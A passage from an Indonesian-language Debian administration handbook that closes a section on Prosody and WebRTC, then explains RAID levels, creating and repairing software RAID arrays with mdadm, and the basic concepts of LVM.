# prosodyctl adduser joe@falcot.com

Lihat dokumentasi daring Prosody untuk informasi lebih lanjut tentang cara menyesuaikan konfigurasi.

11.8.5. Menjalankan layanan pada port 443

Beberapa administrator lebih suka untuk menjalankan semua layanan RTC mereka pada port 443. Ini membantu pengguna untuk menyambung dari lokasi terpencil seperti Hotel dan Bandara dimana port lain dapat diblokir atau lalu lintas Internet disalurkan melalui server proksi HTTP.

Untuk menggunakan strategi ini, setiap layanan (SIP, XMPP, dan TURN) membutuhkan alamat-alamat IP yang berbeda. Semua layanan masih bisa diwadahi pada host yang sama karena Linux mendukung beberapa alamat IP pada satu host. Nomor port, 443, harus ditentukan di berkas konfigurasi untuk setiap proses dan juga di record SRV DNS.

11.8.6. Menambahkan WebRTC

Falcot ingin membiarkan pelanggan membuat panggilan telepon secara langsung dari situs web. Para administrator Falcot juga ingin menggunakan WebRTC sebagai bagian dari rencana pemulihan bencana, sehingga staf dapat menggunakan peramban web di rumah untuk log masuk ke sistem telepon perusahaan dan bekerja secara normal dalam keadaan darurat.

DALAM PRAKTEK Mencoba WebRTC

Jika Anda belum pernah mencoba WebRTC, ada berbagai situs yang memberikan demontrasi daring dan fasilitas pengujian.

→ https://www.sip5060.net/test-calls

WebRTC adalah sebuah teknologi yang berkembang pesat dan sangat penting untuk menggunakan paket dari distribusi Testing. Opsi lain adalah dengan mengompail perangkat lunaknya.

WebRTC menggunakan API sederhana untuk menyediakan RTC ke peramban dan aplikasi seluler, ini adalah perangkat lunak gratis dan sedang dikembangkan oleh Google.

→ https://webrtc.org

Pendekatan yang sangat fleksibel menggunakan implementasi WebRTC GStreamer. Ini memungkinkan aplikasi multimedia berbasis pipeline, yang memungkinkan pengembangan aplikasi yang menarik dan sangat efisien. Titik awal yang baik adalah demo berikut oleh Centricular, perusahaan utama yang mengembangkannya:

→ https://github.com/centricular/gstwebrtc-demos

Situs-situs web klik-untuk-memanggil yang lebih lanjut biasanya menggunakan script sisi server untuk menghasilkan berkas config.js secara dinamis. Kode sumber DruCall menunjukkan bagaimana melakukan ini dengan PHP.

Bab ini mencuplik hanya sebagian kecil dari perangkat lunak server yang tersedia; namun, sebagian besar layanan jaringan umum telah digambarkan. Sekarang saatnya untuk bab yang bahkan lebih teknis: kita akan pergi ke detail yang lebih untuk beberapa konsep, menggambarkan penyebaran besar-besaran, dan virtualisasi.

Bab 12. Administrasi Tingkat Lanjut

Bab ini meninjau kembali beberapa aspek yang telah kami uraikan, dengan perspektif yang berbeda: alih-alih memasang pada sebuah komputer, kita akan mempelajari sistem deployment masal; alih-alih membuat volume RAID atau LVM pada saat instalasi, kita akan belajar melakukannya secara manual sehingga nanti kita dapat merevisi pilihan awal kita. Akhirnya, kita akan mendiskusikan perkakas pemantauan dan teknik virtualisasi. Sebagai konsekuensinya, bab ini secara lebih khusus menarget para administrator profesional, and sedikit kurang brfokus pada para individu yang bertanggungjawab atas jaringan rumahan mereka.

12.1. RAID dan LVM

Bab 4, Instalasi mempresentasikan teknologi ini dari sudut pandang pemasang, dan bagaimana itu mengintegrasikan mereka untuk membuat deployment mereka mudah dari awal. Setelah instalasi awal, seorang administrator mesti bisa menangani keperluan ruang penyimpanan yang berkembang tanpa mesti mengandalkan instalasi ulang yang mahal. Maka mereka mesti paham peralatan yang diperlukan untuk memanipulasi volume RAID dan LVM.

RAID dan LVM adalah teknik untuk mengabstrakkan volume yang dikait dari pasangan fisik mereka (yaitu hard disk atau partisi); yang pertama memastikan keamanan dan ketersediaan data dari kegagalan perangkat keras dengan memperkenalkan redundansi, yang belakangan membuat manajemen volume lebih luwes dan tak bergantung kepada ukuran sebenarnya dari disk yang mendasarinya. Dalam kedua kasus, sistem pada akhirnya mendapat perangkat blok baru, yang dapat dipakai untuk membuat sistem berkas atau ruang swap, tanpa perlu mereka dipetakan ke satu disk fisik. RAID dan LVM datang dari latar belakang yang cukup berbeda, tapi fungsionalitas mereka sebagian dapat bertumpang tindih, sehingga mereka sering disinggung bersama-sama.

PERSPEKTIF Btrfs menggabung LVM dan RAID

Walaupun LVM dan RAID adalah dua subsistem kernel yang berbeda, yang hadir di antara perangkat blok disk dan sistem berkas mereka, btrfs adalah suatu sistem berkas, yang pada awalnya dikembangkan di Oracle, yang bertujuan menggabung set fitur dari LVM dan RAID serta lebih banyak lagi.

→ https://btrfs.wiki.kernel.org/index.php/Main_Page

Diantara fitur yang menarik adalah kemampuan membuat snapshot dari suatu pohon sistem berkas pada sebarang waktu. Snapshot ini pada awalnya tak memakai sebarang ruang disk, data hanya diduplikasi ketika satu dari salinan-salinan dimodifikasi. Sistem berkas juga menangani kompresi transparan dari berkas, dan checksum memastikan integritas dari semua data yang disimpan.

Pada kedua kasus RAID dan LVM, kernel menyediakan suatu berkas perangkat blok, mirip dengan yang berkaitan dengan suatu hard disk atau suatu partisi. Ketika suatu aplikasi, atau bagian lain dari kernel, meminta akses ke suatu blok dari perangkat seperti itu, subsistem yang sesuai mengarahkan blok ke lapisan fisik yang relevan. Bergantung kepada konfigurasi, blok ini dapat disimpan pada satu atau beberapa disk fisik, dan lokasi fisiknya mungkin tak berkorelasi langsung ke lokasi blok dalam perangkat lojik.

12.1.1. RAID Perangkat Lunak

RAID adalah Redundant Array of Independent Disks (larik redundan dari disk-disk independen). Tujuan dari sistem ini adalah untuk mencegah kehilangan data dan memastikan ketersediaan dalam kasus kegagalan hard disk. Prinsip umumnya cukup sederhana: data disimpan pada beberapa disk fisik alih-alih hanya satu, dengan tingkat redundansi yang dapat dikonfigurasi. Bergantung kepada banyaknya redundansi ini, dan bahkan dalam kejadian kegagalan disk yang tak terduga, data dapat direkonstruksi tanpa adanya kehilangan dari disk sisanya.

KULTUR Independen atau tidak mahal?

I dalam RAID pada awalnya merupakan singkatan dari inexpensive (tidak mahal), karena RAID memungkinkan kenaikan drastis keselamatan data tanpa memerlukan investasi disk canggih yang mahal. Namun mungkin karena masalah citra, kini lebih umum dianggap singkatan dari independen, yang tak membawa kesan murahan yang tak menarik.

RAID dapat diwujudkan baik oleh perangkat keras khusus (modul RAID yang terintegrasi ke dalam kartu pengendali SCSI atau SATA) atau oleh abstraksi perangkat lunak (kernel). Apakah perangkat keras atau perangkat lunak, sistem RAID dengan redundansi yang cukup bisa secara transparan tetap operasional ketika sebuah disk gagal; lapisan atas tumpukan (aplikasi) bahkan dapat tetap mengakses data terlepas dari kegagalan. Tentu saja, "mode terdegradasi" ini dapat memiliki dampak pada kinerja, dan redundansi berkurang, sehingga kegagalan disk lebih lanjut dapat mengakibatkan kehilangan data. Dalam prakteknya, oleh karena itu, kita akan berusaha untuk hanya berada dalam mode terdegradasi ini selama diperlukannya untuk menggantikan disk yang gagal. Sekali disk baru terpasang sistem RAID dapat merekonstruksi data yang dibutuhkan untuk kembali ke mode aman. Aplikasi tidak akan melihat apa-apa, selain kecepatan akses berpotensi berkurang, sementara larik ada dalam mode terdegradasi atau selama fase rekonstruksi.

Ketika RAID diimplementasikan oleh perangkat keras, konfigurasinya umumnya terjadi dalam alat konfigurasi BIOS, dan kernel akan menganggap sebuah array RAID sebagai satu disk, yang akan bekerja sebagai disk fisik standar, meskipun nama perangkat mungkin berbeda (tergantung pada driver).

Kami hanya berfokus pada RAID perangkat lunak dalam buku ini.

12.1.1.1. Tingkat-tingkat RAID

RAID sebenarnya buka satu sistem, tapi berbagai sistem yang diidentifikasi oleh tingkat mereka; tingkat-tingkat itu dibedakan oleh tata letak dan banyaknya redundansi yang mereka sediakan. Semakin banyak redundan, semakin kebal kegagalan, karena sistem akan dapat terus bekerja dengan lebih banyak disk yang gagal. Kekurangannya adalah bahwa ruang yang dapat digunakan menyusut untuk satu set disk tertentu; dilihat dengan cara lain, akan diperlukan lebih banyak disk untuk menyimpan sejumlah data yang diberikan.

RAID Linier

Meskipun subsistem RAID kernel memungkinkan menciptakan "linear RAID", ini bukan RAID yang benar, karena konfigurasi ini tidak melibatkan redundansi apapun. Kernel hanya mengumpulkan beberapa disk end-to-end dan menyediakan volume agregat yang dihasilkan sebagai satu disk virtual (satu perangkat blok). Itu adalah satu-satunya fungsinya. Konfigurasi ini jarang digunakan sendirian (lihat nanti untuk pengecualian), terutama karena kurangnya redundansi berarti bahwa salah satu disk gagal membuat seluruh agregat, dan karena itu semua data, tidak tersedia.

RAID-0

Tingkat ini tidak menyediakan redundansi apapun, tapi disk-disk tidak hanya sekadar dilekatkan satu di akhir yang lain: mereka dibagi dalam stripe, dan blok-blok di perangkat virtual disimpan dalam stripe di disk-disk fisik yang berbeda-beda. Dalam setup RAID-0 dua-disk, misalnya, blok bernomor genap dari perangkat virtual akan disimpan pada disk fisik pertama, sementara blok bernomor ganjil akan berakhir pada disk fisik kedua.

Sistem ini tidak bertujuan meningkatkan keandalan, karena (seperti dalam kasus linier) ketersediaan semua data hancur begitu satu disk gagal, tetapi meningkatkan kinerja: selama akses berurutan ke sejumlah besar data yang berdekatan, kernel akan mampu membaca dari kedua disk (atau menulis ke mereka) secara paralel, yang akan meningkatkan laju transfer data. Disk dimanfaatkan sepenuhnya oleh peranti RAID, sehingga mereka mestinya memiliki ukuran yang sama agar tidak kehilangan kinerja.

Penggunaan RAID-0 berkurang, ceruknya sedang diisi oleh LVM (lihat lagi nanti).

RAID-1

Tingkat ini, juga dikenal sebagai "RAID mirroring", adalah yang paling sederhana dan setup yang paling banyak digunakan. Dalam bentuk standar, menggunakan dua disk fisik berukuran sama, dan memberikan volume logis berukuran yang sama lagi. Data disimpan identik pada disk kedua, maka dijuluki "mirror (cermin)". Ketika satu disk gagal, data ini masih tersedia di yang lain. Untuk data yang benar-benar penting, RAID-1 dapat tentu saja diatur pada disk yang lebih dari dua, dengan dampak langsung pada rasio biaya perangkat keras versus ruang muatan yang tersedia.

CATATAN Ukuran klaster dan disk

Jika dua disk dengan ukuran yang berbeda diatur dalam cermin, yang lebih besar tidak akan sepenuhnya digunakan, karena itu akan berisi data yang sama seperti yang terkecil dan tidak lebih. Ruang tersedia yang berguna yang disediakan oleh volume RAID-1 karena itu cocok dengan ukuran disk terkecil dalam array. Ini masih berlaku untuk volume RAID dengan tingkat yang lebih tinggi, meskipun redundansi disimpan dengan cara berbeda.

Karena itu penting, ketika menyiapkan array RAID (kecuali RAID-0 dan "linear RAID"), untuk menyusun hanya disk-disk berukuran identik atau sangat dekat, untuk menghindari membuang-buang sumber daya.

CATATAN Disk cadangan

Tingkat RAID yang mencakup redundansi memungkinkan menugaskan disk lebih banyak dari yang dibutuhkan untuk array. Tambahan disk digunakan sebagai suku cadang ketika salah satu disk utama gagal. Sebagai contoh, cermin dua disk ditambah cadangan satu, jika salah satu disk dari dua pertama gagal, kernel akan otomatis (dan segera) merekonstruksi cermin menggunakan disk cadangan, sehingga redundansi tetap terjamin setelah masa rekonstruksi. Ini dapat digunakan sebagai jenis lain dari perlindungan bagi data penting.

Kita akan dimaafkan untuk bertanya-tanya bagaimana hal ini lebih baik daripada sekadar mencerminkan pada tiga disk di awal. Keuntungan dari konfigurasi "disk cadangan" adalah bahwa disk cadangan dapat dipakai bersama pada beberapa volume RAID. Sebagai contoh, kita dapat memiliki tiga volume tercermin, dengan redundansi yang dijamin bahkan jika salah satu kegagalan disk, hanya dengan tujuh disk (tiga pasang, ditambah satu cadangan bersama), bukan sembilan disk yang akan dibutuhkan oleh tiga buah kembar tiga.

Tingkat RAID ini, walaupun mahal (karena hanya separuh dari ruang penyimpanan fisik, dalam keadaan terbaik, berguna), secara luas digunakan dalam praktek. Hal ini mudah untuk dipahami, dan memungkinkan cadangan yang sangat sederhana: karena disk kedua memiliki isi yang identik, salah satu dari mereka dapat sementara diekstraksi dengan tidak berdampak pada sistem yang bekerja. Kinerja baca sering meningkat karena kernel bisa membaca setengah dari data pada setiap disk secara paralel, sementara kinerja tulis tidak terlalu turun parah. Dalam sebuah array RAID-1 N disk, data tetap tersedia bahkan dengan N-1 disk gagal.

RAID-4

Tingkat RAID ini, tidak banyak dipakai, menggunakan N disk untuk menyimpan data yang berguna, dan disk tambahan untuk menyimpan informasi redundansi. Jika disk itu gagal, sistem dapat merekonstruksi isinya dari N yang lain. Jika salah satu dari N disk data gagal, N-1 sisa yang dikombinasikan dengan disk "paritas" berisi cukup informasi untuk merekonstruksi data yang dibutuhkan.

RAID-4 tidak terlalu mahal karena itu hanya melibatkan peningkatan biaya satu-dari-N dan tidak memiliki dampak yang terlihat pada kinerja baca, tapi penulisan melambat. Selanjutnya, karena menulis ke salah satu dari N disk juga melibatkan menulis ke disk paritas, yang terakhir melihat menulis lebih banyak daripada yang pertama, dan usia pakainya dapat memendek secara dramatis sebagai akibatnya. Data pada array RAID-4 aman hanya sampai dengan satu disk gagal (dari N+1).

RAID-5

RAID-5 menjawab masalah asimetri dari RAID-4: blok paritas disebar ke seluruh N+1 disk, tanpa ada satu disk yang memiliki peran tertentu.

Kinerja baca dan tulis identik dengan RAID-4. Di sini, sistem tetap berfungsi bila satu disk (dari N+1) gagal, tapi tak boleh lebih.

RAID-6

RAID-6 dapat dianggap perluasan dari RAID-5, dimana setiap seri N blok melibatkan dua blok redundansi, dan setiap seri N+2 blok disebar ke N+2 disk.

Tingkat RAID ini sedikit lebih mahal daripada dua sebelumnya, tapi itu membawa beberapa keamanan tambahan karena sampai dengan dua drive (dari N+2) bisa gagal tanpa mengorbankan ketersediaan data. Kekurangannya adalah bahwa sekarang operasi tulis melibatkan menulis satu blok data dan dua blok redundansi, yang membuat mereka lebih lambat lagi.

RAID-1+0

Ini secara presisi bukan tingkat RAID, tapi penumpukan dua pengelompokan RAID. Mulai dari 2×N disk, kita pertama kali menyiapkan pasangan-pasangan ke N volume RAID-1; N volume ini kemudian dikumpulkan menjadi satu, baik memakai "linear RAID" atau (semakin banyak) memakai LVM. Kasus terakhir ini di luar RAID murni, tapi tidak ada masalah dengan itu.

RAID-1+0 dapat bertahan dari beberapa disk gagal: sampai N dalam array 2×N yang dijelaskan di atas, asal bahwa setidaknya satu disk tetap bekerja di setiap pasangan RAID-1.

LEBIH JAUH RAID-10

RAID-10 umumnya dianggap sebagai sinonim dari RAID-1+0, namun kekhususan Linux membuat itu sebenarnya generalisasi. Konfigurasi ini memungkinkan sistem dimana setiap blok disimpan pada dua disk berbeda, bahkan dengan cacah disk ganjil, salinan disebar ke model yang dapat dikonfigurasi.

Kinerja akan bervariasi tergantung pada model repartisi dan tingkat redundansi yang dipilih, dan beban kerja dari volume logis.

Jelas, tingkat RAID akan dipilih sesuai dengan kendala dan persyaratan setiap aplikasi. Perhatikan bahwa satu komputer dapat memiliki beberapa array RAID yang berbeda dengan konfigurasi yang berbeda.

12.1.1.2. Menyiapkan RAID

Menyiapkan volume RAID memerlukan paket mdadm; ini menyediakan perintah mdadm, yang memungkinkan membuat dan memanipulasi array RAID, maupun skrip dan alat-alat yang mengintegrasikan ke seluruh sistem, termasuk sistem pemantauan.

Contoh kita akan menjadi server dengan sejumlah disk, beberapa di antaranya sudah digunakan, sisanya tersedia untuk menyiapkan RAID. Kita awalnya memiliki disk dan partisi sebagai berikut:

- disk sdb, 4 GB, sepenuhnya tersedia;

- disk sdc, 4 GB, ini juga sepenuhnya tersedia;

- pada disk sdd, hanya partisi sdd2 (sekitar 4 GB) tersedia;

- akhirnya, disk sde, masih 4 GB, sepenuhnya tersedia.

CATATAN Mengidentifikasi volume RAID yang ada

Berkas /proc/mdstat memuat daftar volume yang ada dan keadaan mereka. Ketika membuat volume RAID baru, mesti hati-hati untuk tidak memberi nama yang sama dengan volume yang sudah ada.

Kita akan menggunakan unsur-unsur fisik ini untuk membangun dua volume, satu RAID-0 dan satu cermin (RAID-1). Mari kita mulai dengan volume RAID-0:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md0 started.

# mdadm --query /dev/md0

/dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md0

/dev/md0:

Version : 1.2

Creation Time : Tue Jun 25 08:47:49 2019

Raid Level : raid0

Array Size : 8378368 (7.99 GiB 8.58 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Tue Jun 25 08:47:49 2019

State : clean

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Chunk Size : 512K

Consistency Policy : none

Name : mirwiz:0  (local to host debian)

UUID : 146e104f:66ccc06d:71c262d7:9af1fbc7

Events : 0

Number   Major   Minor   RaidDevice State

0       8       32        0      active sync   /dev/sdb

1       8       48        1      active sync   /dev/sdc

# mkfs.ext4 /dev/md0

mke2fs 1.44.5 (15-Dec-2018)

Discarding device blocks: done

Creating filesystem with 2094592 4k blocks and 524288 inodes

Filesystem UUID: 413c3dff-ab5e-44e7-ad34-cf1a029cfe98

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

# mkdir /srv/raid-0

# mount /dev/md0 /srv/raid-0

# df -h /srv/raid-0

Filesystem      Size  Used Avail Use% Mounted on

/dev/md0        7.9G   36M  7.4G   1% /srv/raid-0

Perintah mdadm --create memerlukan beberapa parameter: nama volume yang akan dibuat (/dev/md*, dengan MD singkatan dari Multiple Devices), tingkat RAID, cacah disk (yang wajib meskipun sebagian besar bermakna hanya dengan RAID-1 dan di atasnya), dan drive fisik yang akan digunakan. Setelah perangkat dibuat, kita dapat menggunakannya seperti kita akan menggunakan sebuah partisi normal, membuat sebuah sistem berkas di atasnya, mengait sistem berkas itu, dan sebagainya. Perhatikan bahwa penciptaan kita atas suatu volume RAID-0 pada md0 hanya kebetulan, dan penomoran array tidak perlu berkorelasi dengan pilihan banyaknya redundansi. Hal ini juga memungkinkan untuk membuat array RAID bernama, dengan memberikan parameter mdadm seperti misalnya /dev/md/linear bukan /dev/md0.

Penciptaan RAID-1 mengikuti cara yang sama, perbedaannya hanya menjadi terlihat setelah penciptaan:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde

mdadm: Note: this array has metadata at the start and

may not be suitable as a boot device.  If you plan to

store '/boot' on this device please ensure that

your boot-loader understands md/v1.x metadata, or use

--metadata=0.90

mdadm: largest drive (/dev/sdd2) exceeds size (4192192K) by more than 1%

Continue creating array? y

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md1 started.

# mdadm --query /dev/md1

/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Tue Jun 25 10:21:22 2019

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Tue Jun 25 10:22:03 2019

State : clean, resyncing

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Consistency Policy : resync

Resync Status : 93% complete

Name : mirwiz:1  (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c

Events : 16

Number   Major   Minor   RaidDevice State

0       8       64        0      active sync   /dev/sdd2

1       8       80        1      active sync   /dev/sde

# mdadm --detail /dev/md1

/dev/md1:

[...]

State : clean

[...]

TIPS RAID, disk, dan partisi

Seperti digambarkan oleh contoh kita, peranti RAID dapat dibangun dari partisi disk, dan tidak memerlukan disk penuh.

Beberapa komentar perlu disinggung. Pertama, mdadm tahu bahwa elemen-elemen fisik memiliki ukuran yang berbeda; karena hal ini menyiratkan bahwa sebagian ruang akan hilang pada elemen yang lebih besar, konfirmasi diperlukan.

Lebih penting lagi, perhatikan keadaan cermin. Keadaan normal dari suatu cermin RAID adalah bahwa kedua disk memiliki isi yang tepat sama. Namun, tidak ada yang menjamin ini ketika volume pertama kali dibuat. Subsistem RAID karena itu akan memberikan jaminan itu sendiri, dan akan ada tahap sinkronisasi segera setelah perangkat RAID dibuat. Setelah beberapa waktu (lama persisnya akan tergantung pada ukuran sebenarnya dari disk...), array RAID berpindah ke keadaan "aktif" atau "bersih". Perhatikan bahwa selama fase rekonstruksi ini, cermin ada dalam mode terdegradasi, dan redundansi tidak dijamin. Sebuah disk yang gagal selama jendela risiko itu bisa mengakibatkan kehilangan semua data. Namun, sejumlah besar data penting, jarang disimpan pada sebuah array RAID yang baru dibuat sebelum sinkronisasi awalnya. Catat bahwa bahkan dalam mode terdegradasi, /dev/md1 dapat digunakan, dan sebuah sistem berkas dapat dibuat di atasnya, maupun data dapat disalin ke sana.

TIPS Memulai mirror dalam mode terdegradasi

Kadang-kadang dua disk tidak tersedia seketika saat seseorang ingin memulai suatu cermin RAID-1, misalnya karena salah satu disk yang rencananya akan disertakan sudah digunakan untuk menyimpan data yang ingin dipindah ke array. Dalam keadaan seperti itu, dimungkinkan untuk sengaja menciptakan array RAID-1 yang terdegradasi dengan memberikan missing, bukan berkas perangkat sebagai salah satu argumen untuk mdadm. Setelah data telah disalin ke "cermin", disk lama dapat ditambahkan ke array. Sinkronisasi kemudian akan terjadi, memberikan kita redundansi yang diinginkan di awal.

TIPS Menyiapkan cermin tanpa sinkronisasi

Volume RAID-1 sering dibuat untuk digunakan sebagai disk baru, sering dianggap kosong. Isi awal sebenarnya dari disk ini karena itu tidak sangat relevan, karena hanya perlu diketahui bahwa data setelah penciptaan volume, khususnya sistem berkas, dapat diakses setelahnya.

Karena itu orang mungkin bertanya-tanya tentang titik sinkronisasi kedua disk pada waktu penciptaan. Mengapa peduli apakah isi identik pada zona volume yang kita ketahui hanya dapat dibaca setelah kita telah menulis?

Untungnya, tahap sinkronisasi ini dapat dihindari dengan memberikan opsi --assume-clean untuk mdadm. Namun, pilihan ini dapat menyebabkan kejutan dalam kasus-kasus di mana data awal akan dibaca (misalnya jika sistem berkas tersebut sudah hadir pada disk fisik), itulah sebabnya itu tidak diaktifkan secara default.

Sekarang mari kita lihat apa yang terjadi ketika salah satu elemen array RAID-1 gagal. mdadm, khususnya opsi --fail, memungkinkan simulasi suatu kegagalan disk:

# mdadm /dev/md1 --fail /dev/sde

mdadm: set /dev/sde faulty in /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

[...]

Update Time : Tue Jun 25 11:03:44 2019

State : clean, degraded

Active Devices : 1

Working Devices : 1

Failed Devices : 1

Spare Devices : 0

Consistency Policy : resync

Name : mirwiz:1  (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c

Events : 20

Number   Major   Minor   RaidDevice State

-       0        0        0      removed

1       8       80        1      active sync   /dev/sdd2

0       8       64        -      faulty   /dev/sde

Isi dari volume masih dapat diakses (dan, jika dipasang, aplikasi tidak menyadari apapun), tapi keselamatan data tidak dijamin lagi: seandainya sdd disk gagal bergantian, data akan hilang. Kami ingin menghindari risiko, jadi kami akan mengganti disk yang gagal dengan yang baru, sdf:

# mdadm /dev/md1 --add /dev/sdf

mdadm: added /dev/sdf

# mdadm --detail /dev/md1

/dev/md1:

[...]

Raid Devices : 2

Total Devices : 3

Persistence : Superblock is persistent

Update Time : Tue Jun 25 11:09:42 2019

State : clean, degraded, recovering

Active Devices : 1

Working Devices : 2

Failed Devices : 1

Spare Devices : 1

Consistency Policy : resync

Rebuild Status : 27% complete

Name : mirwiz:1  (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c

Events : 26

Number   Major   Minor   RaidDevice State

2       8       96        0      spare rebuilding   /dev/sdf

1       8       80        1      active sync   /dev/sdd2

0       8       64        -      faulty   /dev/sde

# [...]

[...]

# mdadm --detail /dev/md1

/dev/md1:

[...]

Update Time : Tue Jun 25 11:10:47 2019

State : clean

Active Devices : 2

Working Devices : 2

Failed Devices : 1

Spare Devices : 0

Consistency Policy : resync

Name : mirwiz:1  (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c

Events : 39

Number   Major   Minor   RaidDevice State

2       8       96        0      active sync   /dev/sdd2

1       8       80        1      active sync   /dev/sdf

0       8       64        -      faulty   /dev/sde

Di sini lagi, kernel secara otomatis memicu tahap rekonstruksi yang ketika berlangsung, meskipun volume masih dapat diakses, berada dalam mode terdegradasi. Setelah rekonstruksi berakhir, array RAID kembali ke keadaan normal. Kita kemudian dapat memberitahu ke sistem bahwa disk sde akan dihapus dari array, sehingga berakhir dengan RAID mirror klasik pada dua disk:

# mdadm /dev/md1 --remove /dev/sde

mdadm: hot removed /dev/sde from /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

[...]

Number   Major   Minor   RaidDevice State

2       8       96        0      active sync   /dev/sdd2

1       8       80        1      active sync   /dev/sdf

Selanjutnya drive dapat secara fisik dicabut saat server berikutnya dimatikan, atau bahkan dicabut saat menyala ketika konfigurasi hardware mengizinkan hot-swap. Konfigurasi tersebut termasuk beberapa pengendali SCSI, kebanyakan disk SATA, dan drive eksternal yang beroperasi pada USB atau Firewire.

12.1.1.3. Mem-back up Konfigurasi

Kebanyakan meta-data tentang volume RAID disimpan secara langsung pada disk yang menusun array ini, sehingga kernel dapat mendeteksi array dan komponen mereka dan merakit mereka secara otomatis saat sistem mulai berjalan. Namun, membuat cadangan konfigurasi ini disarankan, karena deteksi ini tidak kebal kesalahan, dan hanya diharapkan bahwa itu akan gagal tepat dalam keadaan yang sensitif. Dalam contoh kita, jika kegagalan disk sde telah nyata (bukan simulasi) dan sistem sudah direstart tanpa menghapus disk sde ini, disk ini bisa mulai bekerja lagi karena telah dijajaki selama reboot. Kernel kemudian akan memiliki tiga elemen fisik, masing-masing mengklaim mengandung setengah dari volume RAID yang sama. Sumber kebingungan lain dapat datang ketika volume RAID dari dua server dikonsolidasi hanya ke satu server. Jika array ini sedang berjalan biasanya sebelum disk dipindahkan, kernel akan mampu mendeteksi dan merakit kembali pasangan dengan benar; tetapi jika disk yang dipindah telah diagregasi ke dalam md1 pada server lama, dan server baru telah memiliki md1, salah satu cermin akan diubah nama.

Karena itu cadangan konfigurasi penting, walaupun hanya untuk referensi. Cara standar untuk melakukannya adalah dengan menyunting berkas /etc/mdadm/mdadm.conf, contohnya tercantum di sini:

Contoh 12.1. berkas konfigurasi mdadm

# mdadm.conf

#

# !NB! Run update-initramfs -u after updating this file.

# !NB! This will ensure that initramfs has an uptodate copy.

#

# Please refer to mdadm.conf(5) for information about this file.

#

# by default (built-in), scan all partitions (/proc/partitions) and all

# containers for MD superblocks. alternatively, specify devices to scan, using

# wildcards if desired.

DEVICE /dev/sd*

# auto-create devices with Debian standard permissions

CREATE owner=root group=disk mode=0660 auto=yes

# automatically tag new arrays as belonging to the local system

HOMEHOST <system>

# instruct the monitoring daemon where to send mail alerts

MAILADDR root

# definitions of existing MD arrays

ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=146e104f:66ccc06d:71c262d7:9af1fbc7

ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=7d123734:9677b7d6:72194f7d:9050771c

# This configuration was auto-generated on Tue, 25 Jun 2019 07:54:35 -0400 by mkconf

Salah satu rincian paling berguna adalah opsi DEVICE, yang berisi daftar perangkat tempat sistem akan secara otomatis mencari komponen volume RAID saat start-up. Dalam contoh, kita menggantikan nilai default, partitions containers, dengan daftar eksplisit berkas perangkat, karena kita memilih untuk menggunakan seluruh disk dan tidak hanya partisi, untuk beberapa volume.

Dua baris terakhir dalam contoh kita adalah yang memungkinkan kernel untuk secara aman memilih nomor volume yang ditetapkan ke array mana. Metadata yang tersimpan pada disk itu sendiri cukup untuk membangun kembali volume, tetapi tidak untuk menentukan nomor volume (dan nama perangkat /dev/md* yang cocok).

Untungnya, baris-baris ini dapat dihasilkan secara otomatis:

# mdadm --misc --detail --brief /dev/md?

ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=146e104f:66ccc06d:71c262d7:9af1fbc7

ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=7d123734:9677b7d6:72194f7d:9050771c

Isi dari dua baris terakhir ini tidak tergantung pada daftar disk yang disertakan dalam volume. Maka tidak diperlukan untuk meregenerasi baris-baris ini ketika menggantikan disk gagal dengan yang baru. Di sisi lain, perawatan harus diambil untuk memperbarui berkas ketika membuat atau menghapus sebuah array RAID.

12.1.2. LVM

LVM, Logical Volume Manager, adalah pendekatan lain untuk mengabstrakkan volume logis dari dukungan fisik mereka, yang berfokus pada peningkatan fleksibilitas daripada meningkatkan kehandalan. LVM dapat mengubah volume logis secara transparan bagi aplikasi; sebagai contoh, sangat mungkin untuk menambahkan disk baru, memigrasi data ke mereka, dan menghapus disk lama, tanpa melepas kait volume.

12.1.2.1. Konsep LVM

Fleksibilitas ini dicapai dengan tingkat abstraksi yang melibatkan tiga konsep.

Pertama, PV (Physical Volume) adalah entitas terdekat dengan perangkat keras: itu bisa berupa partisi pada disk atau seluruh disk, atau bahkan perangkat blok lain (termasuk, sebagai contoh, sebuah array RAID). Perhatikan bahwa ketika sebuah elemen fisik diatur hingga menjadi PV untuk LVM, itu mesti hanya diakses melalui LVM, jika tidak sistem akan bingung.

Sejumlah PV dapat dikumpulkan dalam VG (Volume Group), yang dapat dibandingkan dengan disk virtual dan extensible. VG abstrak, dan tidak muncul dalam perangkat berkas di hirarki /dev, sehingga tidak ada risiko menggunakan mereka secara langsung.

Jenis ke tiga objek adalah LV (Logical Volume), yang berupa potongan dari suatu VG; jika kita memakai analogi VG-sebagai-disk, LV setara dengan partisi. LV muncul sebagai perangkat blok dengan entri di /dev, dan dapat digunakan seperti setiap partisi fisik lainnya dapat (paling sering, mewadahi sebuah sistem berkas atau ruang swap).

